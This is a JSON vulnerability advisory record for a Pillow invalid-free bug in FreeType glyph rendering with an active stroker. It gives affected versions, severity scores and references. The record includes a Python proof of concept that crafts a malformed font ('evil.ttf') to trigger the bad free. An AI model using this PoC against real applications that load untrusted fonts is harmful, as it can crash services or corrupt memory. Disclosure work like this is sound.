{"id":"CVE-2026-112893","aliases":["CVE-2026-112893","GHSA-j4m9-6w36-pw47","BIT-PILLOW-2026-112893"],"related":[],"kind":"vulnerability","state":"published","title":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","summary":"Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FT_Load_Glyph fails, cleanup may call FT_Done_Glyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FT_Load_Glyph fails, cleanup may call FT_Done_Glyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","format":"markdown","source":"ghsa"}],"published":"2026-10-19T21:53:49.979Z","modified":"2026-10-29T10:45:11.354Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-457","CWE-763"],"affected":[{"ranges":[{"version":">= 10.0.0, < 13.0.0","status":"affected"}],"vendor":"python-pillow","product":"Pillow","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"10.0.0","status":"affected","fixed":"13.0.0"}],"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"10.0.0","fixed":"13.0.0"}],"vendor":"python","product":"pillow","cpe":"cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"10.0.0","status":"affected","fixed":"13.0.0"}],"ecosystem":"Bitnami","package":"pillow","purl":"pkg:bitnami/pillow","source":"bitnami"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-10-28T15:12:41.070Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-112893","url":"https://www.cve.org/CVERecord?id=CVE-2026-112893","licence":"CVE Terms of Use","modified":"2026-10-28T15:12:48.729Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j4m9-6w36-pw47","url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","licence":"CC-BY-4.0","modified":"2026-10-26T08:55:43.891Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-112893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893","licence":"Public domain","modified":"2026-10-28T16:17:02.413Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-PILLOW-2026-112893","url":"https://osv.dev/vulnerability/BIT-PILLOW-2026-112893","licence":"Apache-2.0","modified":"2026-10-29T10:45:11.354Z"}],"updatedAt":"2026-11-25T22:59:45.957Z","epss":{"score":0.00592,"percentile":0.49672,"date":"2026-12-01T12:00:22.000Z"}}